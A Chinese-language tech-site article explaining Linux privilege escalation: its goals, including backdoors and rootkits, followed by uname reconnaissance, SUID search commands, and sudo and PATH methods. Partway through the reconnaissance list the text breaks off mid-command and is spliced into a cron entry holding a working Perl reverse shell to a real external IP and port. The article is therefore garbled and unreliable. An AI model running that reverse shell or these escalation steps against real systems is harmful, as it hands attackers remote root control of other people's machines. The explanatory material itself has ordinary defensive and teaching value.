广告
返回顶部
首页 > 资讯 > 操作系统 >linux提权指的是什么
  • 868
分享到

linux提权指的是什么

linux 2023-03-15 17:03:20 868人浏览 泡泡鱼
摘要

这篇文章主要讲解了“linux提权指的是什么”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“linux提权指的是什么”吧! 提权指

这篇文章主要讲解了“linux提权指的是什么”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“linux提权指的是什么”吧!

提权指的是低权限用户利用各种合法的或非法的手段获取到了高于本用户的系统权限;Linux提权一般是指获取root用户权限的操作过程。Linux提权的本质一方面是信息收集,另一方面是对内核漏洞的掌握情况;提权是否成功的关键是信息收集是否完整。

linux提权概念介绍

提权是什么

提权指的是低权限用户利用各种合法的或非法的手段获取到了高于本用户的系统权限。

详细来说,就是指利用操作系统或应用软件中的程序漏洞、设计缺陷或配置疏忽来获取对应用程序或用户来说受保护资源的高级访问权限。其结果是,应用程序可以获取比应用程序开发者或系统管理员预期的更高的特权,从而可以执行授权的动作。

Linux提权一般是指获取root用户权限的操作过程。

Linux提权目的

提权操作有风险为什么还要进行提权?什么情况下需要进行提权?获取高权限之后可以做什么?

通过命令执行漏洞获取的一个反弹shell或是通过WEB漏洞获取了一个Webshell后,一般情况下权限都较低。在执行一些重要敏感的操作或是对重要的文件进行修改时无法正常进行,便需要进行提权。Linux中安装的数据库中间件等一般都不是以root用户启动的,通过数据库或是中间件获取到的权限是是低权限的。

获取一个root权限是每一个黑客的梦想。

  • 读取写入服务器中的重要文件:

    • 修改root密码

    • 替换系统命令

  • 在系统中放置更为隐蔽的后门:

    • ping后门

    • Rootkit

  • 保证服务器重启之后权限仍在:

    • 内存后门

Linux提权本质

Linux提权的本质一方面是信息收集,另一方面是对内核漏洞的掌握情况。

Linux信息收集

任何提权的第一步操作一定是对操作系统进行信息收集。提权是否成功的关键是信息收集是否完整。

  • 内核设备信息:

    • uname -a    打印所有可用的系统信息

    • uname -r    内核版本

    • uname -n    系统主机名。

    • uname -m    查看系统内核架构(64位/32位)

    • hostname    系统主机名

    • cat /proc/version    内核信息

    • cat /etc1 * * * * root perl -e 'use Socket;\(i="106.13.124.93";\)p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in(\(p,inet_aton(\)i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

    2、利用SUID提权

    • SUID概念:SUID(设置用户ID)是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。SUID可以让调用者以文件拥有者的身份运行该文件,所以我们利用SUID提权的思路就是运行root用户所拥有的SUID的文件,那么我们运行该文件的时候就得获得root用户的身份了。那么,为什么要给Linux二进制文件设置这种权限呢?其实原因有很多,例如,程序ping需要root权限才能打开网络套接字,但执行该程序的用户通常都是由普通用户,来验证与其他主机的连通性。

    • SUID提权:什么是suid提权呢?一个文件,它有s标志,并且他输入root,那么我们运行这个程序就可以有了root的权限,并且这个程序还得能执行命令,那么我们就能从普通用户提升到了root权限了。

    • 在本地查找符合条件的文件。

      • find / -user root -perm -4000 -print 2>/dev/null

      • find / -perm -u=s -type f 2>/dev/null

      • find / -user root -perm -4000 -exec ls -ldb {} ;

    • 常见的可以提权的程序

      • nmap vim find Bash More Less Nano cp netcat

    3、利用SUDO提权

    Linux系统中可以使用sudo执行一个只有root才能执行的命令,配置文件保存在/etc/sudoers,sudo -l可以列出当前用户支持sudo的命令。

    尽量从代码层面进行对漏洞的分析。

    4、环境变量提权

    • 查看当前环境变量:

      • echo $PATH

    5、root权限运行的服务

    • 以root的运行的服务,其中包括第三方软件都可以进行提权。

    感谢各位的阅读,以上就是“linux提权指的是什么”的内容了,经过本文的学习后,相信大家对linux提权指的是什么这一问题有了更深刻的体会,具体使用情况还需要大家实践验证。这里是编程网,小编将为大家推送更多相关知识点的文章,欢迎关注!

--结束END--

本文标题: linux提权指的是什么

本文链接: https://www.lsjlt.com/news/199960.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
  • linux提权指的是什么
    这篇文章主要讲解了“linux提权指的是什么”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“linux提权指的是什么”吧! 提权指...
    99+
    2023-03-15
    linux
  • linux x权限指的是什么
    这篇文章主要介绍“linux x权限指的是什么”,在日常操作中,相信很多人在linux x权限指的是什么问题上存在疑惑,小编查阅了各式资料,整理出简单好用的操作方法,希望对大家解答”linux x权限指的是什么”的疑惑有所帮助!接下来,请跟...
    99+
    2023-06-30
  • linux修改权限777指的是什么
    这篇文章主要介绍“linux修改权限777指的是什么”的相关知识,小编通过实际案例向大家展示操作过程,操作方法简单快捷,实用性强,希望这篇“linux修改权限777指的是什么”文章能帮助大家解决问题。在linux中,修改权限777表示修改权...
    99+
    2023-06-29
  • linux的root权限指什么
    本篇内容介绍了“linux的root权限指什么”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!在linux中,root权限是超级管理员用户的最...
    99+
    2023-06-30
  • 用于提权的Linux命令是什么
    这篇文章主要介绍了用于提权的Linux命令是什么,具有一定借鉴价值,感兴趣的朋友可以参考下,希望大家阅读完这篇文章之后大有收获,下面让小编带着大家一起了解一下。xxd 介绍我们知道如果想要将某个文件转换成另一种格式,我们可以通过使用一些在线...
    99+
    2023-06-05
  • linux用户提权的方法是什么
    Linux用户提权的方法有多种,以下是一些常见的方法:1. 使用sudo命令:sudo是Linux中用于运行命令以root权限执行的...
    99+
    2023-08-30
    linux
  • linux sw指的是什么
    这篇文章主要讲解了“linux sw指的是什么”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“linux sw指的是什么”吧! l...
    99+
    2023-03-07
    linux
  • linux param指的是什么
    这篇文章主要介绍“linux param指的是什么”的相关知识,小编通过实际案例向大家展示操作过程,操作方法简单快捷,实用性强,希望这篇“linux param指的是什么”文章能帮助大家解决问题。 ...
    99+
    2023-03-10
    linux param
  • linux cifs指的是什么
    本篇内容介绍了“linux cifs指的是什么”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成! ...
    99+
    2023-04-20
    linux cifs
  • linux selinux指的是什么
    这篇文章主要介绍“linux selinux指的是什么”,在日常操作中,相信很多人在linux selinux指的是什么问题上存在疑惑,小编查阅了各式资料,整理出简单好用的操作方法,希望对大家解答”linu...
    99+
    2023-04-20
    linux
  • linux mem指的是什么
    今天小编给大家分享一下linux mem指的是什么的相关知识点,内容详细,逻辑清晰,相信大部分人都还太了解这方面的知识,所以分享这篇文章给大家参考一下,希望大家阅读完这篇文章后有所收获,下面我们一起来了解一...
    99+
    2023-04-20
    linux mem
  • linux fuse指的是什么
    本篇内容主要讲解“linux fuse指的是什么”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“linux fuse指的是什么”吧! ...
    99+
    2023-04-20
    linux fuse
  • linux tmpfs指的是什么
    本篇内容主要讲解“linux tmpfs指的是什么”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“linux tmpfs指的是什么”吧! ...
    99+
    2023-04-20
    linux tmpfs
  • linux tcsh指的是什么
    本文小编为大家详细介绍“linux tcsh指的是什么”,内容详细,步骤清晰,细节处理妥当,希望这篇“linux tcsh指的是什么”文章能帮助大家解决疑惑,下面跟着小编的思路慢慢深入,一起来学习新知识吧。...
    99+
    2023-04-20
    linux tcsh
  • linux vcs指的是什么
    本篇内容主要讲解“linux vcs指的是什么”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“linux vcs指的是什么”吧! li...
    99+
    2023-04-20
    linux vcs
  • linux apr指的是什么
    本文小编为大家详细介绍“linux apr指的是什么”,内容详细,步骤清晰,细节处理妥当,希望这篇“linux apr指的是什么”文章能帮助大家解决疑惑,下面跟着小编的思路慢慢深入,一起来学习新知识吧。 ...
    99+
    2023-04-20
    linux apr
  • suse linux指的是什么
    今天小编给大家分享一下suse linux指的是什么的相关知识点,内容详细,逻辑清晰,相信大部分人都还太了解这方面的知识,所以分享这篇文章给大家参考一下,希望大家阅读完这篇文章后有所收获,下面我们一起来了解一下吧。suse linux是德国...
    99+
    2023-06-30
  • linux fd指的是什么
    本篇内容主要讲解“linux fd指的是什么”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“linux fd指的是什么”吧!在linux中,fd全称“File descriptor”,中文名为“文...
    99+
    2023-06-30
  • linux devel指的是什么
    今天小编给大家分享一下linux devel指的是什么的相关知识点,内容详细,逻辑清晰,相信大部分人都还太了解这方面的知识,所以分享这篇文章给大家参考一下,希望大家阅读完这篇文章后有所收获,下面我们一起来了解一下吧。linux中,devel...
    99+
    2023-06-30
  • linux mtu指的是什么
    这篇文章主要介绍了linux mtu指的是什么的相关知识,内容详细易懂,操作简单快捷,具有一定借鉴价值,相信大家阅读完这篇linux mtu指的是什么文章都会有所收获,下面我们一起来看看吧。 ...
    99+
    2023-03-02
    linux mtu
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作